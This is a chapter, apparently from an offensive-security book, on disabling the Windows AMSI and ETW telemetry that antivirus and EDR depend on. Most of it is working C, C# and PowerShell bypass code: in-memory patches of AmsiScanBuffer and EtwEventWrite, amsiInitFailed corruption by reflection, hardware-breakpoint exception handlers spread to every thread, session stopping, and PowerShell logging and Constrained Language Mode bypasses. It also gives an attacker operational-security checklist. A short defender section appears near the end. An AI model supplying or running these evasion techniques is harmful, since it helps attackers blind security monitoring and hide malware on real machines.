Even after bypassing EDR hooks in ntdll.dll, two powerful telemetry sources remain: AMSI (Antimalware Scan Interface) and ETW (Event Tracing for Windows). AMSI allows security products to inspect scripts and code before execution, while ETW provides system-wide event logging that captures security-relevant activities. These mechanisms operate independently of userland hooks, making them critical targets for comprehensive evasion.
This chapter examines how AMSI and ETW work, why they're effective, and the techniques used to bypass them—from memory patching to hardware breakpoints.
When PowerShell executes a script, or when .NET code compiles dynamically, or when JavaScript runs in a browser—how does Windows Defender know what's happening? The answer is AMSI, a standardized interface that allows applications to request malware scans from registered security providers.
┌─────────────────────────────────────────────────────────────────────────┐
│ AMSI ARCHITECTURE │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ Scripting Engines / Applications │
│ ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ │
│ │PowerShell│ │ VBScript│ │ JIT │ │ Custom │ │
│ │(WSH) │ │(WSH) │ │ (.NET) │ │ Apps │ │
│ └────┬────┘ └────┬────┘ └────┬────┘ └────┬────┘ │
│ │ │ │ │ │
│ └──────────┬─┴────────────┴────────────┘ │
│ │ │
│ ▼ │
│ ┌──────────────────────────────────────────────────────────────────┐ │
│ │ amsi.dll (AMSI Interface) │ │
│ │ ┌────────────────────────────────────────────────────────────┐ │ │
│ │ │ AmsiInitialize() - Initialize AMSI context │ │ │
│ │ │ AmsiScanBuffer() - Scan arbitrary buffer │ │ │
│ │ │ AmsiScanString() - Scan string content │ │ │
│ │ │ AmsiOpenSession() - Open scan session │ │ │
│ │ │ AmsiCloseSession() - Close scan session │ │ │
│ │ └────────────────────────────────────────────────────────────┘ │ │
│ └──────────────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌──────────────────────────────────────────────────────────────────┐ │
│ │ Antimalware Provider (EDR/AV) │ │
│ │ - Windows Defender (mpengine.dll) │ │
│ │ - Third-party AV/EDR │ │
│ └──────────────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────┘
The key functions are AmsiScanBuffer and AmsiScanString. Before executing a script, PowerShell calls these functions with the script content. The registered antimalware provider (typically Windows Defender) analyzes the content and returns a verdict: clean, suspicious, or malicious. If malicious, execution is blocked.
AMSI is particularly effective against fileless attacks because it sees the deobfuscated, final form of scripts—after all encoding, concatenation, and runtime assembly has been resolved.
The most direct AMSI bypass modifies AmsiScanBuffer in memory so it returns "clean" without actually scanning. This works because amsi.dll is loaded into the attacker's process, where they have full control over memory:
// Patch AmsiScanBuffer to return AMSI_RESULT_CLEAN
BOOL PatchAmsiScanBuffer(void) {
HMODULE hAmsi = LoadLibraryA("amsi.dll");
if (!hAmsi) return FALSE;
PVOID pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
if (!pAmsiScanBuffer) return FALSE;
// Patch bytes: xor eax, eax; ret
// Returns 0 (S_OK) immediately
BYTE patch[] = { 0x31, 0xC0, 0xC3 }; // xor eax, eax; ret
DWORD oldProtect;
VirtualProtect(pAmsiScanBuffer, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(pAmsiScanBuffer, patch, sizeof(patch));
VirtualProtect(pAmsiScanBuffer, sizeof(patch), oldProtect, &oldProtect);
return TRUE;
}
The patch replaces the function's prologue with instructions that immediately return success, skipping all scanning logic.
Alternative Patch - Force Clean Result:
// Patch to always set result to AMSI_RESULT_CLEAN (0)
// mov dword ptr [r8], 0; xor eax, eax; ret
BYTE patch[] = {
0x41, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00, // mov dword ptr [r8], 0
0x31, 0xC0, // xor eax, eax
0xC3 // ret
};
This version explicitly sets the result parameter to AMSI_RESULT_CLEAN before returning, ensuring the caller sees a clean verdict.
Rather than patching code, another approach corrupts the AMSI context data to indicate initialization failure. When AMSI thinks initialization failed, it skips all scanning:
// Force amsiInitFailed = TRUE in AMSI context
BOOL CorruptAmsiContext(void) {
HMODULE hAmsi = LoadLibraryA("amsi.dll");
PVOID pContext = GetAmsiContext(); // Implementation specific
// Set amsiInitFailed flag
// Offset varies by version
*(BOOL*)((PBYTE)pContext + AMSI_CONTEXT_FAILED_OFFSET) = TRUE;
return TRUE;
}
This technique is popular in PowerShell because the context is accessible via reflection:
# Reflection-based amsiInitFailed corruption
$ref = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$field = $ref.GetField('amsiInitFailed','NonPublic,Static')
$field.SetValue($null,$true)
Memory patching modifies code, which integrity-checking EDRs can detect. Hardware breakpoints provide a stealthier alternative—they intercept execution without modifying any bytes.
The technique works by:
// Hardware Breakpoint AMSI Bypass
// Uses DR2/DR3 for AmsiScanBuffer/AmsiScanString
LONG WINAPI AmsiHwbpHandler(PEXCEPTION_POINTERS pExceptionInfo) {
if (pExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) {
PVOID pAddr = pExceptionInfo->ExceptionRecord->ExceptionAddress;
// Check if we hit AmsiScanBuffer
if (pAddr == g_pAmsiScanBuffer) {
// Set return value to S_OK
pExceptionInfo->ContextRecord->Rax = S_OK;
// Set result parameter to AMSI_RESULT_CLEAN
// r8 = pResult in x64 calling convention
*(DWORD*)(pExceptionInfo->ContextRecord->R8) = AMSI_RESULT_CLEAN;
// Skip function by adjusting RIP to return address
pExceptionInfo->ContextRecord->Rip = *(ULONG_PTR*)pExceptionInfo->ContextRecord->Rsp;
pExceptionInfo->ContextRecord->Rsp += 8;
return EXCEPTION_CONTINUE_EXECUTION;
}
// Check if we hit AmsiScanString
if (pAddr == g_pAmsiScanString) {
// Same handling as AmsiScanBuffer
pExceptionInfo->ContextRecord->Rax = S_OK;
*(DWORD*)(pExceptionInfo->ContextRecord->R8) = AMSI_RESULT_CLEAN;
pExceptionInfo->ContextRecord->Rip = *(ULONG_PTR*)pExceptionInfo->ContextRecord->Rsp;
pExceptionInfo->ContextRecord->Rsp += 8;
return EXCEPTION_CONTINUE_EXECUTION;
}
}
return EXCEPTION_CONTINUE_SEARCH;
}
BOOL SetupAmsiHwbp(void) {
// Get function addresses
HMODULE hAmsi = LoadLibraryA("amsi.dll");
g_pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
g_pAmsiScanString = GetProcAddress(hAmsi, "AmsiScanString");
// Register VEH
AddVectoredExceptionHandler(1, AmsiHwbpHandler);
// Set hardware breakpoints
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
GetThreadContext(GetCurrentThread(), &ctx);
// DR2 = AmsiScanBuffer
ctx.Dr2 = (ULONG_PTR)g_pAmsiScanBuffer;
// DR3 = AmsiScanString
ctx.Dr3 = (ULONG_PTR)g_pAmsiScanString;
// Enable DR2 and DR3 (local, execute)
ctx.Dr7 = (ctx.Dr7 & ~0xF0000) | 0x55; // Enable DR2, DR3 for execution
SetThreadContext(GetCurrentThread(), &ctx);
// Propagate to all threads
PropagateHwbpToAllThreads(&ctx);
return TRUE;
}
Hardware breakpoints are limited to four (DR0-DR3), but this is enough for most bypass scenarios.
For .NET applications, AMSI integration happens at the CLR level. Bypasses target the CLR's internal AMSI interface:
// Reflection to access internal CLR AMSI interface
var type = typeof(System.Management.Automation.AmsiUtils);
var field = type.GetField("amsiContext", BindingFlags.NonPublic | BindingFlags.Static);
var ctx = field.GetValue(null);
// Corrupt context to bypass scanning
// Implementation varies by .NET version
Event Tracing for Windows is the operating system's unified logging infrastructure. Every major Windows component—the kernel, CLR, PowerShell, networking stack—can emit events through ETW. Security products consume these events to detect malicious activity.
┌─────────────────────────────────────────────────────────────────────────┐
│ ETW ARCHITECTURE │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌───────────────────────────────────────────────────────────────────┐ │
│ │ PROVIDERS │ │
│ │ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │ │
│ │ │ .NET CLR │ │ PowerShell │ │ Security │ ... │ │
│ │ │ Provider │ │ Provider │ │ Auditing │ │ │
│ │ └──────┬──────┘ └──────┬──────┘ └──────┬──────┘ │ │
│ └─────────┼────────────────┼────────────────┼───────────────────────┘ │
│ │ │ │ │
│ └────────────────┼────────────────┘ │
│ │ │
│ ▼ │
│ ┌───────────────────────────────────────────────────────────────────┐ │
│ │ ETW INFRASTRUCTURE │ │
│ │ │ │
│ │ ntdll.dll: ntoskrnl.exe: │ │
│ │ - EtwEventWrite - NtTraceEvent │ │
│ │ - EtwEventWriteFull - Kernel ETW routing │ │
│ │ - EtwEventWriteEx - ETW buffers │ │
│ │ - EtwEventWriteTransfer │ │
│ │ │ │
│ └───────────────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌───────────────────────────────────────────────────────────────────┐ │
│ │ CONSUMERS │ │
│ │ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │ │
│ │ │ Event Log │ │ EDR/AV │ │ Performance │ │ │
│ │ │ Service │ │ Consumers │ │ Monitor │ │ │
│ │ └─────────────┘ └─────────────┘ └─────────────┘ │ │
│ └───────────────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────┘
Unlike AMSI which inspects content, ETW logs activities: script blocks executed, assemblies loaded, network connections made. This behavioral telemetry is invaluable for detecting attacks that evade signature-based detection.
The core ETW functions in ntdll.dll are:
The simplest ETW bypass patches the logging functions to return immediately without logging anything:
// Patch EtwEventWrite to return immediately
BOOL PatchEtwEventWrite(void) {
PVOID pEtwEventWrite = GetProcAddress(
GetModuleHandleA("ntdll.dll"),
"EtwEventWrite"
);
// ret (0xC3) - immediate return
BYTE patch[] = { 0xC3 };
DWORD oldProtect;
VirtualProtect(pEtwEventWrite, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(pEtwEventWrite, patch, sizeof(patch));
VirtualProtect(pEtwEventWrite, sizeof(patch), oldProtect, &oldProtect);
return TRUE;
}
For comprehensive coverage, patch all ETW functions:
BOOL PatchAllEtwFunctions(void) {
LPCSTR functions[] = {
"EtwEventWrite",
"EtwEventWriteFull",
"EtwEventWriteEx",
"EtwEventWriteTransfer",
"NtTraceEvent" // Also patch syscall wrapper
};
BYTE patch[] = { 0xC3 };
for (int i = 0; i < ARRAYSIZE(functions); i++) {
PVOID pFunc = GetProcAddress(GetModuleHandleA("ntdll.dll"), functions[i]);
if (pFunc) {
DWORD oldProtect;
VirtualProtect(pFunc, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
*(PBYTE)pFunc = 0xC3;
VirtualProtect(pFunc, 1, oldProtect, &oldProtect);
}
}
return TRUE;
}
Like AMSI, ETW can be bypassed with hardware breakpoints for stealthier evasion:
// HWBP ETW Bypass - No memory patching
PVOID g_pEtwEventWrite = NULL;
PVOID g_pNtTraceEvent = NULL;
PVOID g_pEtwEventWriteFull = NULL;
PVOID g_pEtwEventWriteEx = NULL;
LONG WINAPI EtwHwbpHandler(PEXCEPTION_POINTERS pExceptionInfo) {
if (pExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) {
PVOID pAddr = pExceptionInfo->ExceptionRecord->ExceptionAddress;
// Check each ETW function
if (pAddr == g_pEtwEventWrite ||
pAddr == g_pNtTraceEvent ||
pAddr == g_pEtwEventWriteFull ||
pAddr == g_pEtwEventWriteEx) {
// Return STATUS_SUCCESS without executing function
pExceptionInfo->ContextRecord->Rax = 0; // STATUS_SUCCESS
// Skip function - set RIP to return address
pExceptionInfo->ContextRecord->Rip =
*(ULONG_PTR*)pExceptionInfo->ContextRecord->Rsp;
pExceptionInfo->ContextRecord->Rsp += 8;
return EXCEPTION_CONTINUE_EXECUTION;
}
}
return EXCEPTION_CONTINUE_SEARCH;
}
BOOL SetupEtwHwbp(void) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
g_pEtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite");
g_pNtTraceEvent = GetProcAddress(hNtdll, "NtTraceEvent");
g_pEtwEventWriteFull = GetProcAddress(hNtdll, "EtwEventWriteFull");
g_pEtwEventWriteEx = GetProcAddress(hNtdll, "EtwEventWriteEx");
// Register VEH first in chain
AddVectoredExceptionHandler(1, EtwHwbpHandler);
// Set hardware breakpoints (DR0-DR3)
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
GetThreadContext(GetCurrentThread(), &ctx);
ctx.Dr0 = (ULONG_PTR)g_pEtwEventWrite;
ctx.Dr1 = (ULONG_PTR)g_pNtTraceEvent;
ctx.Dr2 = (ULONG_PTR)g_pEtwEventWriteFull;
ctx.Dr3 = (ULONG_PTR)g_pEtwEventWriteEx;
// Enable all 4 debug registers for execution breakpoints
// DR7: Bits 0,2,4,6 = local enable for DR0-3
ctx.Dr7 = (1 << 0) | (1 << 2) | (1 << 4) | (1 << 6);
SetThreadContext(GetCurrentThread(), &ctx);
return TRUE;
}
Rather than patching functions, you can disable specific ETW providers by manipulating their registration:
// Null the provider registration handle
BOOL DisableEtwProvider(LPCWSTR lpProviderGuid) {
// Provider handles stored in ntdll
// Finding and nulling the registration disables logging
// Implementation requires:
// 1. Parse ntdll to find EtwpProviderTable
// 2. Find entry matching provider GUID
// 3. Null the handle or corrupt state
return TRUE;
}
ETW events flow through trace sessions. Stopping these sessions silences logging:
// Stop ETW trace sessions
BOOL StopEtwSessions(void) {
EVENT_TRACE_PROPERTIES props = { 0 };
props.Wnode.BufferSize = sizeof(EVENT_TRACE_PROPERTIES) + 1024;
// Stop known trace sessions
// NT Kernel Logger, Security, etc.
ControlTraceW(0, L"NT Kernel Logger", &props, EVENT_TRACE_CONTROL_STOP);
return TRUE;
}
This approach requires elevated privileges and may be detected by session health monitoring.
Since hardware breakpoints are limited to four, an efficient approach handles both AMSI and ETW in a single handler:
// Single VEH handler for both AMSI and ETW
typedef struct _HWBP_TARGETS {
PVOID AmsiScanBuffer;
PVOID AmsiScanString;
PVOID EtwEventWrite;
PVOID NtTraceEvent;
} HWBP_TARGETS;
static HWBP_TARGETS g_Targets;
LONG WINAPI UnifiedHwbpHandler(PEXCEPTION_POINTERS pExceptionInfo) {
if (pExceptionInfo->ExceptionRecord->ExceptionCode != EXCEPTION_SINGLE_STEP) {
return EXCEPTION_CONTINUE_SEARCH;
}
PVOID pAddr = pExceptionInfo->ExceptionRecord->ExceptionAddress;
PCONTEXT ctx = pExceptionInfo->ContextRecord;
// AMSI bypass
if (pAddr == g_Targets.AmsiScanBuffer || pAddr == g_Targets.AmsiScanString) {
ctx->Rax = S_OK;
if (ctx->R8) {
*(DWORD*)ctx->R8 = 0; // AMSI_RESULT_CLEAN
}
ctx->Rip = *(ULONG_PTR*)ctx->Rsp;
ctx->Rsp += 8;
return EXCEPTION_CONTINUE_EXECUTION;
}
// ETW bypass
if (pAddr == g_Targets.EtwEventWrite || pAddr == g_Targets.NtTraceEvent) {
ctx->Rax = 0; // STATUS_SUCCESS
ctx->Rip = *(ULONG_PTR*)ctx->Rsp;
ctx->Rsp += 8;
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
BOOL InitializeUnifiedBypass(void) {
HMODULE hAmsi = LoadLibraryA("amsi.dll");
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
g_Targets.AmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
g_Targets.AmsiScanString = GetProcAddress(hAmsi, "AmsiScanString");
g_Targets.EtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite");
g_Targets.NtTraceEvent = GetProcAddress(hNtdll, "NtTraceEvent");
// Register handler
AddVectoredExceptionHandler(1, UnifiedHwbpHandler);
// Set debug registers
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
GetThreadContext(GetCurrentThread(), &ctx);
ctx.Dr0 = (ULONG_PTR)g_Targets.AmsiScanBuffer;
ctx.Dr1 = (ULONG_PTR)g_Targets.AmsiScanString;
ctx.Dr2 = (ULONG_PTR)g_Targets.EtwEventWrite;
ctx.Dr3 = (ULONG_PTR)g_Targets.NtTraceEvent;
ctx.Dr7 = 0x55; // Enable DR0-3 for execution
SetThreadContext(GetCurrentThread(), &ctx);
return TRUE;
}
Hardware breakpoints are per-thread. For comprehensive bypass, propagate settings to all threads:
BOOL PropagateToAllThreads(void) {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
THREADENTRY32 te = { .dwSize = sizeof(THREADENTRY32) };
DWORD dwCurrentPid = GetCurrentProcessId();
DWORD dwCurrentTid = GetCurrentThreadId();
if (Thread32First(hSnapshot, &te)) {
do {
if (te.th32OwnerProcessID == dwCurrentPid &&
te.th32ThreadID != dwCurrentTid) {
HANDLE hThread = OpenThread(
THREAD_SET_CONTEXT | THREAD_GET_CONTEXT | THREAD_SUSPEND_RESUME,
FALSE,
te.th32ThreadID
);
if (hThread) {
SuspendThread(hThread);
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
GetThreadContext(hThread, &ctx);
// Copy debug register settings
ctx.Dr0 = (ULONG_PTR)g_Targets.AmsiScanBuffer;
ctx.Dr1 = (ULONG_PTR)g_Targets.AmsiScanString;
ctx.Dr2 = (ULONG_PTR)g_Targets.EtwEventWrite;
ctx.Dr3 = (ULONG_PTR)g_Targets.NtTraceEvent;
ctx.Dr7 = 0x55;
SetThreadContext(hThread, &ctx);
ResumeThread(hThread);
CloseHandle(hThread);
}
}
} while (Thread32Next(hSnapshot, &te));
}
CloseHandle(hSnapshot);
return TRUE;
}
PowerShell's Script Block Logging records every command executed. Disabling it via reflection:
# Disable Script Block Logging via reflection
$settings = [Ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings','NonPublic,Static')
$gp = $settings.GetValue($null)
$gp['ScriptBlockLogging']['EnableScriptBlockLogging'] = 0
$gp['ScriptBlockLogging']['EnableScriptBlockInvocationLogging'] = 0
Module Logging records which PowerShell modules are loaded:
# Disable Module Logging
$settings = [Ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings','NonPublic,Static')
$gp = $settings.GetValue($null)
$gp['ModuleLogging']['EnableModuleLogging'] = 0
PowerShell Constrained Language Mode restricts what scripts can do. Bypassing it typically requires compiling code:
# Check language mode
$ExecutionContext.SessionState.LanguageMode
# Bypass via Add-Type
$code = @"
using System;
public class Bypass {
public static void Execute() {
// Full language mode in compiled code
}
}
"@
Add-Type -TypeDefinition $code
[Bypass]::Execute()
Understanding how these bypasses are detected helps in selecting the right technique:
| Bypass Type | Detection Method |
|---|---|
| Memory Patching | Memory integrity checks |
| HWBP | DR7 monitoring, exception analysis |
| Provider Manipulation | ETW health monitoring |
| Reflection | .NET ETW providers |
Memory patching is the easiest to detect—EDRs can periodically verify that critical functions haven't been modified. Hardware breakpoints are stealthier because they don't modify code, but EDRs can monitor debug register values.
For operational security:
[ ] Use HWBP over patching when possible
[ ] Patch only after checking for integrity monitoring
[ ] Restore patches after use
[ ] Minimize time with bypasses active
[ ] Use timing randomization
[ ] Monitor for detection of bypass itself
For defenders, strengthening AMSI effectiveness:
Protecting ETW telemetry:
The key insight is that userland bypasses cannot affect kernel-mode ETW-TI (covered in Chapter 3). Critical telemetry should flow through kernel mechanisms when possible.
| Technique | Type | Detection Risk | Stealth |
|---|---|---|---|
| AmsiScanBuffer Patch | Memory | High | Low |
| amsiInitFailed | Data | Medium | Medium |
| AMSI HWBP | Hardware | Low | High |
| EtwEventWrite Patch | Memory | High | Low |
| ETW HWBP | Hardware | Low | High |
| Provider Nulling | Data | Medium | Medium |
Both AMSI and ETW are powerful telemetry sources, but both can be bypassed from userland. The cat-and-mouse game continues, with defenders implementing integrity checks and attackers finding new bypass techniques.
For comprehensive evasion, combine these bypasses with the syscall and unhooking techniques from Chapter 6. For comprehensive defense, rely on kernel-mode telemetry and behavioral analysis that can't be disabled from userland.